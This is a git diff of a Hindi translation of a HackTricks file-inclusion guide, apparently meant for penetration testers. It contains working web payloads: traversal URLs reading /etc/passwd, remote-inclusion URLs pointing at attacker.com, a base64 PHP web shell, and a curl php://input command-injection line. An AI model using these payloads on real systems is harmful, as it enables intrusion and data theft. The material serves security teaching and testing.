mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/file-inclusion/README.md', 'src/pentesti
This commit is contained in:
Translator
parent
2cc4b29782
commit
5fa4b06813
@ -25,10 +25,10 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||
{{#endref}}
|
||||
|
||||
`/` को `\` में बदलने की कोशिश करें\
|
||||
`../../../../../` जोड़ने की भी कोशिश करें
|
||||
"/" को "\" में बदलने की कोशिश करें\
|
||||
"../../../../../" जोड़ने की भी कोशिश करें
|
||||
|
||||
एक सूची जो कई तकनीकों का उपयोग करके फ़ाइल /etc/password को खोजने के लिए है (यह जांचने के लिए कि क्या भेद्यता मौजूद है) [यहां](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) मिल सकती है
|
||||
एक सूची जो कई तकनीकों का उपयोग करके फ़ाइल /etc/password (यह जांचने के लिए कि क्या भेद्यता मौजूद है) को खोजने के लिए बनाई गई है, [यहाँ](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) मिल सकती है।
|
||||
|
||||
### **Windows**
|
||||
|
||||
@ -38,10 +38,10 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||
{{#endref}}
|
||||
|
||||
`/` को `\` में बदलने की कोशिश करें\
|
||||
`C:/` को हटाने और `../../../../../` जोड़ने की भी कोशिश करें
|
||||
"/" को "\" में बदलने की कोशिश करें\
|
||||
"C:/" को हटाने और "../../../../../" जोड़ने की भी कोशिश करें
|
||||
|
||||
एक सूची जो कई तकनीकों का उपयोग करके फ़ाइल /boot.ini को खोजने के लिए है (यह जांचने के लिए कि क्या भेद्यता मौजूद है) [यहां](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) मिल सकती है
|
||||
एक सूची जो कई तकनीकों का उपयोग करके फ़ाइल /boot.ini (यह जांचने के लिए कि क्या भेद्यता मौजूद है) को खोजने के लिए बनाई गई है, [यहाँ](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) मिल सकती है।
|
||||
|
||||
### **OS X**
|
||||
|
||||
@ -49,7 +49,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
|
||||
|
||||
## Basic LFI and bypasses
|
||||
|
||||
सभी उदाहरण स्थानीय फ़ाइल समावेश के लिए हैं लेकिन इसे दूरस्थ फ़ाइल समावेश पर भी लागू किया जा सकता है (पृष्ठ=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>)।
|
||||
सभी उदाहरण स्थानीय फ़ाइल समावेश के लिए हैं लेकिन इन्हें दूरस्थ फ़ाइल समावेश पर भी लागू किया जा सकता है (पृष्ठ=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>)।
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
@ -69,7 +69,7 @@ http://example.com/index.php?page=../../../etc/passwd%00
|
||||
|
||||
### **कोडिंग**
|
||||
|
||||
आप डबल URL एन्कोडिंग (और अन्य) जैसी गैर-मानक एन्कोडिंग का उपयोग कर सकते हैं:
|
||||
आप डबल URL एन्कोड (और अन्य) जैसी गैर-मानक एन्कोडिंग का उपयोग कर सकते हैं:
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
@ -82,11 +82,11 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### Exploring File System Directories on a Server
|
||||
### सर्वर पर फ़ाइल सिस्टम निर्देशिकाओं का अन्वेषण
|
||||
|
||||
एक सर्वर के फ़ाइल सिस्टम को पुनरावृत्त रूप से खोजा जा सकता है ताकि निर्देशिकाओं की पहचान की जा सके, न कि केवल फ़ाइलों की, कुछ तकनीकों का उपयोग करके। इस प्रक्रिया में निर्देशिका की गहराई निर्धारित करना और विशिष्ट फ़ोल्डरों के अस्तित्व के लिए जांच करना शामिल है। इसे प्राप्त करने के लिए एक विस्तृत विधि नीचे दी गई है:
|
||||
सर्वर का फ़ाइल सिस्टम कुछ तकनीकों का उपयोग करके निर्देशिकाओं की पहचान के लिए पुनरावृत्त रूप से अन्वेषण किया जा सकता है, न कि केवल फ़ाइलों के लिए। इस प्रक्रिया में निर्देशिका की गहराई निर्धारित करना और विशिष्ट फ़ोल्डरों के अस्तित्व के लिए जांच करना शामिल है। इसे प्राप्त करने के लिए एक विस्तृत विधि नीचे दी गई है:
|
||||
|
||||
1. **Determine Directory Depth:** अपने वर्तमान निर्देशिका की गहराई का निर्धारण करें `/etc/passwd` फ़ाइल को सफलतापूर्वक लाकर (यदि सर्वर Linux-आधारित है)। एक उदाहरण URL इस प्रकार संरचित हो सकता है, जो तीन की गहराई को इंगित करता है:
|
||||
1. **निर्देशिका की गहराई निर्धारित करें:** अपने वर्तमान निर्देशिका की गहराई का पता लगाएं `/etc/passwd` फ़ाइल को सफलतापूर्वक लाकर (यदि सर्वर Linux-आधारित है)। एक उदाहरण URL इस प्रकार संरचित हो सकता है, जो तीन की गहराई को इंगित करता है:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
@ -103,17 +103,17 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Path Truncation Technique**
|
||||
### **पथ ट्रंकशन तकनीक**
|
||||
|
||||
Path truncation एक विधि है जो वेब अनुप्रयोगों में फ़ाइल पथों को संशोधित करने के लिए उपयोग की जाती है। इसका अक्सर उपयोग प्रतिबंधित फ़ाइलों तक पहुँचने के लिए किया जाता है, जिससे कुछ सुरक्षा उपायों को बायपास किया जा सके जो फ़ाइल पथों के अंत में अतिरिक्त वर्ण जोड़ते हैं। लक्ष्य यह है कि एक फ़ाइल पथ तैयार किया जाए जो, जब सुरक्षा उपाय द्वारा संशोधित किया जाए, तब भी इच्छित फ़ाइल की ओर इंगित करे।
|
||||
पथ ट्रंकशन एक विधि है जिसका उपयोग वेब अनुप्रयोगों में फ़ाइल पथों को हेरफेर करने के लिए किया जाता है। इसका अक्सर उपयोग प्रतिबंधित फ़ाइलों तक पहुँचने के लिए किया जाता है, जिससे कुछ सुरक्षा उपायों को बायपास किया जा सके जो फ़ाइल पथों के अंत में अतिरिक्त वर्ण जोड़ते हैं। लक्ष्य यह है कि एक फ़ाइल पथ तैयार किया जाए जो, जब सुरक्षा उपाय द्वारा परिवर्तित किया जाए, तब भी इच्छित फ़ाइल की ओर इंगित करे।
|
||||
|
||||
PHP में, फ़ाइल पथ के विभिन्न प्रतिनिधित्व फ़ाइल प्रणाली की प्रकृति के कारण समान माने जा सकते हैं। उदाहरण के लिए:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, और `/etc/passwd/` सभी को एक ही पथ के रूप में माना जाता है।
|
||||
- जब अंतिम 6 वर्ण `passwd` होते हैं, तो `/` जोड़ने (जिससे यह `passwd/` बनता है) से लक्षित फ़ाइल में कोई परिवर्तन नहीं होता है।
|
||||
- जब अंतिम 6 वर्ण `passwd` होते हैं, तो `/` जोड़ने (जिससे यह `passwd/` बनता है) से लक्षित फ़ाइल नहीं बदलती है।
|
||||
- इसी तरह, यदि `.php` को फ़ाइल पथ में जोड़ा जाता है (जैसे `shellcode.php`), तो अंत में `/.` जोड़ने से पहुँचाई जा रही फ़ाइल में कोई परिवर्तन नहीं होगा।
|
||||
|
||||
प्रदान किए गए उदाहरण यह दर्शाते हैं कि `/etc/passwd` तक पहुँचने के लिए path truncation का उपयोग कैसे किया जाए, जो इसके संवेदनशील सामग्री (उपयोगकर्ता खाता जानकारी) के कारण एक सामान्य लक्ष्य है:
|
||||
प्रदान किए गए उदाहरण यह दर्शाते हैं कि कैसे पथ ट्रंकशन का उपयोग करके `/etc/passwd` तक पहुँच प्राप्त की जा सकती है, जो इसके संवेदनशील सामग्री (उपयोगकर्ता खाता जानकारी) के कारण एक सामान्य लक्ष्य है:
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
@ -126,8 +126,8 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
|
||||
इन परिदृश्यों में, आवश्यक ट्रैवर्सल की संख्या लगभग 2027 हो सकती है, लेकिन यह संख्या सर्वर की कॉन्फ़िगरेशन के आधार पर भिन्न हो सकती है।
|
||||
|
||||
- **डॉट सेगमेंट और अतिरिक्त वर्णों का उपयोग करना**: ट्रैवर्सल अनुक्रम (`../`) को अतिरिक्त डॉट सेगमेंट और वर्णों के साथ मिलाकर फ़ाइल सिस्टम में नेविगेट करने के लिए उपयोग किया जा सकता है, प्रभावी रूप से सर्वर द्वारा जोड़े गए स्ट्रिंग्स की अनदेखी करते हुए।
|
||||
- **आवश्यक ट्रैवर्सल की संख्या निर्धारित करना**: प्रयास और त्रुटि के माध्यम से, कोई भी `../` अनुक्रमों की सटीक संख्या खोज सकता है जो रूट डायरेक्टरी में नेविगेट करने और फिर `/etc/passwd` तक पहुँचने के लिए आवश्यक है, यह सुनिश्चित करते हुए कि कोई भी जोड़ी गई स्ट्रिंग्स (जैसे `.php`) निष्क्रिय हो जाएं लेकिन इच्छित पथ (`/etc/passwd`) बरकरार रहे।
|
||||
- **एक नकली डायरेक्टरी से शुरू करना**: पथ को एक गैर-मौजूद डायरेक्टरी (जैसे `a/`) से शुरू करना एक सामान्य प्रथा है। इस तकनीक का उपयोग एक एहतियाती उपाय के रूप में या सर्वर के पथ पार्सिंग लॉजिक की आवश्यकताओं को पूरा करने के लिए किया जाता है।
|
||||
- **आवश्यक ट्रैवर्सल की संख्या निर्धारित करना**: परीक्षण और त्रुटि के माध्यम से, कोई भी `../` अनुक्रमों की सटीक संख्या खोज सकता है जो रूट निर्देशिका में नेविगेट करने और फिर `/etc/passwd` तक पहुँचने के लिए आवश्यक है, यह सुनिश्चित करते हुए कि कोई भी जोड़ी गई स्ट्रिंग्स (जैसे `.php`) निष्क्रिय हो जाएं लेकिन इच्छित पथ (`/etc/passwd`) बरकरार रहे।
|
||||
- **एक नकली निर्देशिका से शुरू करना**: पथ को एक गैर-मौजूद निर्देशिका (जैसे `a/`) से शुरू करना एक सामान्य प्रथा है। इस तकनीक का उपयोग एक एहतियाती उपाय के रूप में या सर्वर के पथ पार्सिंग लॉजिक की आवश्यकताओं को पूरा करने के लिए किया जाता है।
|
||||
|
||||
पथ ट्रंकटेशन तकनीकों का उपयोग करते समय, सर्वर के पथ पार्सिंग व्यवहार और फ़ाइल सिस्टम संरचना को समझना महत्वपूर्ण है। प्रत्येक परिदृश्य के लिए एक अलग दृष्टिकोण की आवश्यकता हो सकती है, और सबसे प्रभावी विधि खोजने के लिए परीक्षण अक्सर आवश्यक होता है।
|
||||
|
||||
@ -148,12 +148,12 @@ In php यह डिफ़ॉल्ट रूप से बंद है क्
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
यदि किसी कारणवश **`allow_url_include`** **On** है, लेकिन PHP बाहरी वेबपृष्ठों तक पहुँच को **filtering** कर रहा है, [इस पोस्ट के अनुसार](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), आप उदाहरण के लिए डेटा प्रोटोकॉल का उपयोग कर सकते हैं जिसमें base64 कोड को डिकोड करने के लिए b64 PHP कोड का उपयोग किया जा सकता है और RCE प्राप्त किया जा सकता है:
|
||||
यदि किसी कारणवश **`allow_url_include`** **On** है, लेकिन PHP बाहरी वेबपृष्ठों तक पहुँच को **filtering** कर रहा है, [इस पोस्ट के अनुसार](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), आप उदाहरण के लिए डेटा प्रोटोकॉल का उपयोग कर सकते हैं जिसमें base64 कोड को डिकोड करने के लिए b64 PHP कोड का उपयोग कर सकते हैं और RCE प्राप्त कर सकते हैं:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!NOTE]
|
||||
> पिछले कोड में, अंतिम `+.txt` जोड़ा गया था क्योंकि हमलावर को एक ऐसा स्ट्रिंग चाहिए था जो `.txt` पर समाप्त होता हो, इसलिए स्ट्रिंग इसके साथ समाप्त होती है और b64 डिकोड के बाद वह भाग केवल बकवास लौटाएगा और असली PHP कोड शामिल किया जाएगा (और इसलिए, निष्पादित किया जाएगा)।
|
||||
> [!TIP]
|
||||
> पिछले कोड में, अंतिम `+.txt` जोड़ा गया था क्योंकि हमलावर को एक स्ट्रिंग की आवश्यकता थी जो `.txt` पर समाप्त होती थी, इसलिए स्ट्रिंग इसके साथ समाप्त होती है और b64 डिकोड के बाद वह भाग केवल बकवास लौटाएगा और असली PHP कोड शामिल किया जाएगा (और इसलिए, निष्पादित किया जाएगा)।
|
||||
|
||||
एक और उदाहरण **`php://` प्रोटोकॉल का उपयोग न करते हुए** होगा:
|
||||
```
|
||||
@ -166,18 +166,18 @@ In python in a code like this one:
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
```
|
||||
यदि उपयोगकर्ता **`file_name`** के लिए **absolute path** पास करता है, तो **पिछला पथ बस हटा दिया जाता है**:
|
||||
यदि उपयोगकर्ता **`file_name`** के लिए **पूर्ण पथ** प्रदान करता है, तो **पिछला पथ बस हटा दिया जाता है**:
|
||||
```python
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
यह अपेक्षित व्यवहार है [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) के अनुसार:
|
||||
|
||||
> यदि एक घटक एक पूर्ण पथ है, तो सभी पिछले घटक हटा दिए जाते हैं और जोड़ना पूर्ण पथ घटक से जारी रहता है।
|
||||
> यदि एक घटक एक पूर्ण पथ है, तो सभी पिछले घटक हटा दिए जाते हैं और पूर्ण पथ घटक से जोड़ना जारी रहता है।
|
||||
|
||||
## Java सूची निर्देशिकाएँ
|
||||
|
||||
ऐसा लगता है कि यदि आपके पास Java में एक Path Traversal है और आप **एक निर्देशिका के लिए पूछते हैं** बजाय एक फ़ाइल के, तो **निर्देशिका की एक सूची लौटाई जाती है**। यह अन्य भाषाओं में नहीं होगा (afaik)।
|
||||
ऐसा लगता है कि यदि आपके पास Java में एक Path Traversal है और आप **एक निर्देशिका के लिए पूछते हैं** बजाय एक फ़ाइल के, तो **निर्देशिका की सूची लौटाई जाती है**। यह अन्य भाषाओं में नहीं होगा (मेरी जानकारी के अनुसार)।
|
||||
|
||||
## शीर्ष 25 पैरामीटर
|
||||
|
||||
@ -273,30 +273,30 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
|
||||
### php फ़िल्टर का उपयोग करके मनमाने फ़ाइलों को पढ़ने के लिए ऑरेकल के रूप में
|
||||
|
||||
[**इस पोस्ट में**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) एक तकनीक का प्रस्ताव किया गया है जिससे बिना सर्वर से आउटपुट प्राप्त किए एक स्थानीय फ़ाइल पढ़ी जा सके। यह तकनीक **php फ़िल्टर का उपयोग करके फ़ाइल का बूलियन एक्सफिल्ट्रेशन (चर द्वारा चर)** के रूप में ऑरेकल पर आधारित है। इसका कारण यह है कि php फ़िल्टर का उपयोग एक टेक्स्ट को इतना बड़ा बनाने के लिए किया जा सकता है कि php एक अपवाद फेंक दे।
|
||||
[**इस पोस्ट में**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) एक तकनीक का प्रस्ताव किया गया है जिससे बिना सर्वर से आउटपुट प्राप्त किए एक स्थानीय फ़ाइल पढ़ी जा सके। यह तकनीक **php फ़िल्टर का उपयोग करके फ़ाइल का बूलियन एक्सफिल्ट्रेशन (चर द्वारा चर)** पर आधारित है। इसका कारण यह है कि php फ़िल्टर का उपयोग एक टेक्स्ट को इतना बड़ा बनाने के लिए किया जा सकता है कि php एक अपवाद फेंक दे।
|
||||
|
||||
मूल पोस्ट में तकनीक का विस्तृत विवरण है, लेकिन यहाँ एक त्वरित सारांश है:
|
||||
|
||||
- टेक्स्ट के प्रारंभ में अग्रणी वर्ण को छोड़ने और स्ट्रिंग के आकार को तेजी से बढ़ाने के लिए **`UCS-4LE`** कोडेक का उपयोग करें।
|
||||
- इसका उपयोग एक **इतना बड़ा टेक्स्ट उत्पन्न करने के लिए किया जाएगा जब प्रारंभिक अक्षर सही अनुमानित हो** कि php एक **त्रुटि** उत्पन्न करेगा।
|
||||
- **dechunk** फ़िल्टर **पहले चर को हेक्साडेसिमल नहीं होने पर सब कुछ हटा देगा**, इसलिए हम जान सकते हैं कि पहला चर हेक्स है या नहीं।
|
||||
- यह, पिछले वाले के साथ (और अनुमानित अक्षर के आधार पर अन्य फ़िल्टर), हमें टेक्स्ट के प्रारंभ में एक अक्षर का अनुमान लगाने की अनुमति देगा जब हम पर्याप्त परिवर्तन करते हैं ताकि यह हेक्साडेसिमल वर्ण न हो। क्योंकि यदि हेक्स है, तो dechunk इसे नहीं हटाएगा और प्रारंभिक बम php त्रुटि उत्पन्न करेगा।
|
||||
- कोडेक **convert.iconv.UNICODE.CP930** हर अक्षर को अगले में बदलता है (तो इस कोडेक के बाद: a -> b)। इससे हमें पता चलता है कि पहला अक्षर `a` है या नहीं, उदाहरण के लिए, क्योंकि यदि हम 6 इस कोडेक का उपयोग करते हैं a->b->c->d->e->f->g तो अक्षर अब हेक्साडेसिमल वर्ण नहीं है, इसलिए dechunk इसे नहीं हटाता और php त्रुटि उत्पन्न होती है क्योंकि यह प्रारंभिक बम के साथ गुणा करता है।
|
||||
- प्रारंभ में **rot13** जैसे अन्य परिवर्तनों का उपयोग करके अन्य वर्णों को लीक करना संभव है जैसे n, o, p, q, r (और अन्य कोडेक का उपयोग करके अन्य अक्षरों को हेक्स रेंज में ले जाया जा सकता है)।
|
||||
- जब प्रारंभिक चर एक संख्या होती है, तो इसे base64 एन्कोड करना आवश्यक है और संख्या लीक करने के लिए पहले 2 अक्षरों को लीक करना आवश्यक है।
|
||||
- अंतिम समस्या यह है कि **कैसे प्रारंभिक अक्षर से अधिक लीक किया जाए**। आदेश मेमोरी फ़िल्टर जैसे **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** का उपयोग करके अक्षरों के क्रम को बदलना और टेक्स्ट के पहले स्थान पर अन्य अक्षरों को प्राप्त करना संभव है।
|
||||
- और आगे के डेटा प्राप्त करने के लिए विचार यह है कि **प्रारंभ में 2 बाइट्स का जंक डेटा उत्पन्न करें** **convert.iconv.UTF16.UTF16** के साथ, **UCS-4LE** लागू करें ताकि यह **अगले 2 बाइट्स के साथ पिवट हो**, और **जंक डेटा तक डेटा को हटा दें** (यह प्रारंभिक टेक्स्ट के पहले 2 बाइट्स को हटा देगा)। जब तक आप लीक करने के लिए इच्छित बिट तक नहीं पहुँचते तब तक ऐसा करते रहें।
|
||||
- **`UCS-4LE`** कोडेक का उपयोग करें ताकि टेक्स्ट का अग्रणी वर्ण शुरुआत में रहे और स्ट्रिंग का आकार तेजी से बढ़े।
|
||||
- इसका उपयोग एक **इतना बड़ा टेक्स्ट उत्पन्न करने के लिए किया जाएगा जब प्रारंभिक अक्षर सही अनुमानित किया जाता है** कि php एक **त्रुटि** उत्पन्न करेगा।
|
||||
- **dechunk** फ़िल्टर **पहले वर्ण को हटाएगा यदि यह हेक्साडेसिमल नहीं है**, इसलिए हम जान सकते हैं कि पहला वर्ण हेक्स है या नहीं।
|
||||
- यह, पिछले वाले के साथ (और अनुमानित अक्षर के आधार पर अन्य फ़िल्टर), हमें टेक्स्ट की शुरुआत में एक अक्षर का अनुमान लगाने की अनुमति देगा यह देखकर कि जब हम पर्याप्त परिवर्तन करते हैं तो यह हेक्साडेसिमल वर्ण नहीं बनता। क्योंकि यदि हेक्स है, तो dechunk इसे नहीं हटाएगा और प्रारंभिक बम php त्रुटि उत्पन्न करेगा।
|
||||
- कोडेक **convert.iconv.UNICODE.CP930** हर अक्षर को अगले में बदलता है (तो इस कोडेक के बाद: a -> b)। इससे हमें पता चलता है कि पहला अक्षर `a` है या नहीं, उदाहरण के लिए, क्योंकि यदि हम इस कोडेक को 6 बार लागू करते हैं a->b->c->d->e->f->g तो अक्षर अब हेक्साडेसिमल वर्ण नहीं है, इसलिए dechunk इसे नहीं हटाता और php त्रुटि उत्पन्न होती है क्योंकि यह प्रारंभिक बम के साथ गुणा करता है।
|
||||
- प्रारंभ में **rot13** जैसे अन्य परिवर्तन का उपयोग करके अन्य वर्णों को लीक करना संभव है जैसे n, o, p, q, r (और अन्य कोडेक्स का उपयोग करके अन्य अक्षरों को हेक्स रेंज में ले जाया जा सकता है)।
|
||||
- जब प्रारंभिक वर्ण एक संख्या होती है, तो इसे base64 एन्कोड करना आवश्यक है और संख्या को लीक करने के लिए पहले 2 अक्षरों को लीक करना आवश्यक है।
|
||||
- अंतिम समस्या यह है कि **कैसे प्रारंभिक अक्षर से अधिक लीक किया जाए**। क्रम मेमोरी फ़िल्टर जैसे **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** का उपयोग करके वर्णों के क्रम को बदलना संभव है और टेक्स्ट के अन्य अक्षरों को पहले स्थान पर लाना संभव है।
|
||||
- और **अधिक डेटा** प्राप्त करने के लिए विचार यह है कि **प्रारंभ में 2 बाइट्स का जंक डेटा उत्पन्न करें** **convert.iconv.UTF16.UTF16** के साथ, **UCS-4LE** लागू करें ताकि यह **अगले 2 बाइट्स के साथ पिवट हो**, और **जंक डेटा तक डेटा को हटा दें** (यह प्रारंभिक टेक्स्ट के पहले 2 बाइट्स को हटा देगा)। जब तक आप लीक करने के लिए इच्छित बिट तक नहीं पहुँचते तब तक ऐसा करते रहें।
|
||||
|
||||
पोस्ट में इस प्रक्रिया को स्वचालित रूप से करने के लिए एक उपकरण भी लीक किया गया था: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
यह रैपर उन फ़ाइल डिस्क्रिप्टर्स तक पहुँचने की अनुमति देता है जो प्रक्रिया ने खोले हैं। खोली गई फ़ाइलों की सामग्री को एक्सफिल्ट्रेट करने के लिए संभावित रूप से उपयोगी:
|
||||
यह रैपर उन फ़ाइल डिस्क्रिप्टर्स तक पहुँचने की अनुमति देता है जो प्रक्रिया के पास खुले हैं। खोले गए फ़ाइलों की सामग्री को एक्सफिल्ट्रेट करने के लिए संभावित रूप से उपयोगी:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
```
|
||||
आप **php://stdin, php://stdout और php://stderr** का उपयोग **file descriptors 0, 1 और 2** तक पहुँचने के लिए कर सकते हैं (यह नहीं पता कि यह हमले में कैसे उपयोगी हो सकता है)
|
||||
आप **php://stdin, php://stdout और php://stderr** का उपयोग **file descriptors 0, 1 और 2** तक पहुँचने के लिए कर सकते हैं (नहीं पता कि यह हमले में कैसे उपयोगी हो सकता है)
|
||||
|
||||
### zip:// और rar://
|
||||
|
||||
@ -337,13 +337,13 @@ http://example.com/index.php?page=expect://ls
|
||||
```
|
||||
### input://
|
||||
|
||||
अपने पेलोड को POST पैरामीटर में निर्दिष्ट करें:
|
||||
अपने payload को POST पैरामीटर में निर्दिष्ट करें:
|
||||
```bash
|
||||
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
|
||||
```
|
||||
### phar://
|
||||
|
||||
एक `.phar` फ़ाइल का उपयोग PHP कोड को निष्पादित करने के लिए किया जा सकता है जब एक वेब एप्लिकेशन फ़ाइल लोड करने के लिए `include` जैसी फ़ंक्शंस का उपयोग करता है। नीचे दिया गया PHP कोड स्निपेट एक `.phar` फ़ाइल बनाने का प्रदर्शन करता है:
|
||||
A `.phar` फ़ाइल का उपयोग PHP कोड को निष्पादित करने के लिए किया जा सकता है जब एक वेब एप्लिकेशन फ़ाइल लोड करने के लिए `include` जैसी फ़ंक्शंस का उपयोग करता है। नीचे दिया गया PHP कोड स्निपेट एक `.phar` फ़ाइल बनाने का प्रदर्शन करता है:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
@ -356,11 +356,11 @@ $phar->stopBuffering();
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
कार्यान्वयन के दौरान, `test.phar` नामक एक फ़ाइल बनाई जाएगी, जिसे स्थानीय फ़ाइल समावेशन (LFI) कमजोरियों का शोषण करने के लिए उपयोग किया जा सकता है।
|
||||
`test.phar` नामक एक फ़ाइल निष्पादन के दौरान बनाई जाएगी, जिसे स्थानीय फ़ाइल समावेशन (LFI) कमजोरियों का शोषण करने के लिए उपयोग किया जा सकता है।
|
||||
|
||||
उन मामलों में जहां LFI केवल फ़ाइल पढ़ने का कार्य करता है बिना PHP कोड को निष्पादित किए, जैसे कि `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, या `filesize()` जैसी फ़ंक्शंस के माध्यम से, एक डेसिरियलाइजेशन कमजोरी का शोषण करने का प्रयास किया जा सकता है। यह कमजोरी `phar` प्रोटोकॉल का उपयोग करके फ़ाइलों को पढ़ने से संबंधित है।
|
||||
उन मामलों में जहां LFI केवल फ़ाइल पढ़ने का कार्य करता है बिना PHP कोड को निष्पादित किए, जैसे कि `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, या `filesize()` के माध्यम से, एक डीसिरियलाइजेशन कमजोरी का शोषण करने का प्रयास किया जा सकता है। यह कमजोरी `phar` प्रोटोकॉल का उपयोग करके फ़ाइलों को पढ़ने से संबंधित है।
|
||||
|
||||
`.phar` फ़ाइलों के संदर्भ में डेसिरियलाइजेशन कमजोरियों के शोषण को समझने के लिए, नीचे दिए गए लिंक किए गए दस्तावेज़ को देखें:
|
||||
`.phar` फ़ाइलों के संदर्भ में डीसिरियलाइजेशन कमजोरियों के शोषण को समझने के लिए, नीचे दिए गए दस्तावेज़ को देखें:
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
@ -370,7 +370,7 @@ phar-deserialization.md
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
**किसी भी मनमाने फ़ाइल को PHP से पढ़ने के लिए जो php फ़िल्टर का समर्थन करता है** का दुरुपयोग करके RCE प्राप्त करना संभव था। विस्तृत विवरण [**इस पोस्ट में पाया जा सकता है**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
**किसी भी मनमाने फ़ाइल को PHP से पढ़ने के लिए जो php फ़िल्टर का समर्थन करता है** का दुरुपयोग करके RCE प्राप्त करना संभव था। विस्तृत विवरण [**इस पोस्ट में पाया जा सकता है**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**।**\
|
||||
बहुत संक्षिप्त सारांश: PHP हीप में **3 बाइट ओवरफ्लो** का दुरुपयोग किया गया था ताकि **विशिष्ट आकार के मुक्त टुकड़ों की श्रृंखला को बदलने** के लिए, ताकि **किसी भी पते पर कुछ भी लिखा जा सके**, इसलिए **`system`** को कॉल करने के लिए एक हुक जोड़ा गया।\
|
||||
विशिष्ट आकार के टुकड़ों को आवंटित करना संभव था, अधिक php फ़िल्टर का दुरुपयोग करके।
|
||||
|
||||
@ -378,7 +378,7 @@ phar-deserialization.md
|
||||
|
||||
यहां अधिक संभावित [**प्रोटोकॉल की जांच करें**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — मेमोरी या अस्थायी फ़ाइल में लिखें (यह फ़ाइल समावेशन हमले में कैसे उपयोगी हो सकता है, यह निश्चित नहीं है)
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — मेमोरी में या अस्थायी फ़ाइल में लिखें (यह फ़ाइल समावेशन हमले में कैसे उपयोगी हो सकता है, यह निश्चित नहीं है)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — स्थानीय फ़ाइल सिस्टम तक पहुँच
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL तक पहुँच
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL तक पहुँच
|
||||
@ -389,13 +389,13 @@ phar-deserialization.md
|
||||
|
||||
## PHP के 'assert' के माध्यम से LFI
|
||||
|
||||
